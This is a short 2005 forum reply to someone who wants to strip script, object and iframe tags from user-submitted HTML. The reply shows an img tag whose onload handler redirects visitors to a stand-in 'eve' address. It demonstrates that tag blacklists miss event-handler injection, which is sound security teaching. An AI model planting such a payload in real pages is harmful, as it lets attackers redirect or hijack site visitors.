Posted by Toby Inkster on 09/25/05 13:04

adyda wrote:

> I've created a "forum" using an HTML area (http://www.htmlarea.com/) as
> message board to have a word like formatting tool, but now I need to cleanup
> the posted data from any script or other possible malicious tags (f.e:
> <script>,<object>,<iframe>)

<img src="http://www.example.org/eve/foo" alt=""
onload="document.location.href='http://www.example.org/eve/';">

D'oh!

--
Toby A Inkster BSc (Hons) ARCS
Contact Me ~ http://tobyinkster.co.uk/contact

[Back to original message]